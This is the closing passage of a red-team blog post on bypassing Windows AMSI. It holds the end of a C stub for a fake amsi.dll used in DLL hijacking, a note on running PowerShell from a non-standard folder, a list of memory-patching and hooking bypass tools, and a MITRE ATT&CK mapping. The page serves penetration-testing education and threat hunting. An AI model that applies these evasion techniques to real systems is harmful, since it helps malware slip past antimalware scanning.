        void AmsiScanBuffer(HAMSICONTEXT amsiContext, PVOID buffer, ULONG
length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT * result);
        void AmsiScanString(HAMSICONTEXT amsiContext, LPCWSTR string, LPCWSTR
contentName, HAMSISESSION amsiSession, AMSI_RESULT * result);
        void AmsiUninitialize(HAMSICONTEXT amsiContext);
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Executing PowerShell outside of the standard directory will load the amsi.dll
file which contains all the necessary functions to operate, however AMSI will
not initiated.

 * AMSI Bypass – DLL Hijacking


TOOLS

ToolDescriptionLanguageAmsiScanBufferBypassMemory PatchingPowerShell,
C#AmsiOpcodeBytesMemory PatchingPowerShellAMSI-BypassMemory
PatchingPowerShellAMSI-BypassMemory PatchingC#NoAmciMemory
PatchingC#AmsiHookHookingC++


MITRE ATT&CK

The techniques demonstrated in this article are correlated to MITRE framework.

TacticTechniqueMitreExecutionCommand and Scripting
InterpreterT1059.001ExecutionNative APIT1106 Defense EvasionDynamic-link Library
InjectionT1055.001Defense EvasionObfuscated Files or InformationT1027Defense
EvasionImpair Defenses: Disable or Modify ToolsT1562.001Defense EvasionDLL
Search Order HijackingT1574.001Command & ControlData EncodingT1132.001


YOUTUBE



If you are interested to learn more about how Pentest Laboratories and our
custom cyber attack scenarios can improve your organisation readiness against
cyber threats please contact us.


RATE THIS:

i

5 Votes




SHARE THIS:

 * Click to share on Twitter (Opens in new window)
 * Click to share on LinkedIn (Opens in new window)
 * Click to share on Facebook (Opens in new window)
 * Click to share on Reddit (Opens in new window)
 * Click to share on WhatsApp (Opens in new window)
 * Click to email a link to a friend (Opens in new window)
 * 


LIKE THIS:

Like Loading...


RELATED

Threat Hunting AMSI BypassesJune 1, 2021In "Threat Hunting"

Breach Scenario – Retail IndustryOctober 14, 2019In "Offensive Scenarios"

.NET Core Evasion DetectionJuly 2, 2020In "Threat Hunting"

Posted in Red TeamingTagged AMSI, evasion, Hooking, Obfuscation3 Comments


POST NAVIGATION

Previous PostProcess Herpaderping – Windows Defender EvasionNext PostThreat
Hunting AMSI Bypasses


3 THOUGHTS ON “AMSI BYPASS METHODS”

 1. Pingback: Persistence – AMSI – Penetration Testing Lab
    
 2. Pingback: Threat Hunting AMSI Bypasses | Pentest Laboratories
    
 3. r0y1 says:
    October 25, 2021 at 8:24 PM
    
    Great article ! Would you be updating it as new bypasses come out ?
    
    LikeLike
    
    Reply
    


LEAVE A REPLY CANCEL REPLY

Fill in your details below or click an icon to log in:

 * 
 * 
 * 
 * 

Email (required) (Address never made public)

Name (required)

Website


You are commenting using your WordPress.com account. ( Log Out /  Change )

You are commenting using your Twitter account. ( Log Out /  Change )

You are commenting using your Facebook account. ( Log Out /  Change )

Cancel

Connecting to %s

Notify me of new comments via email.

Notify me of new posts via email.





Δ



This site uses Akismet to reduce spam. Learn how your comment data is processed.

Search for:


FOLLOW PENTEST LABORATORIES

Enter your email address to follow Pentest Laboratories and receive
notifications of new techniques by email.

Email Address:

Follow

Join 70 other subscribers


FOLLOW US ON SOCIAL MEDIA

 * Twitter
 * YouTube
 * Instagram
 * LinkedIn
 * Facebook
 * Discord

Website Powered by WordPress.com.

 * Follow Following
    * Pentest Laboratories
      Join 70 other followers
      
      Sign me up
    * Already have a WordPress.com account? Log in now.

 *  * Pentest Laboratories
    * Customize
    * Follow Following
    * Sign up
    * Log in
    * Copy shortlink
    * Report this content
    * View post in Reader
    * Manage subscriptions
    * Collapse this bar

 

Loading Comments...

 

Write a Comment...
Email (Required) Name (Required) Website

%d bloggers like this: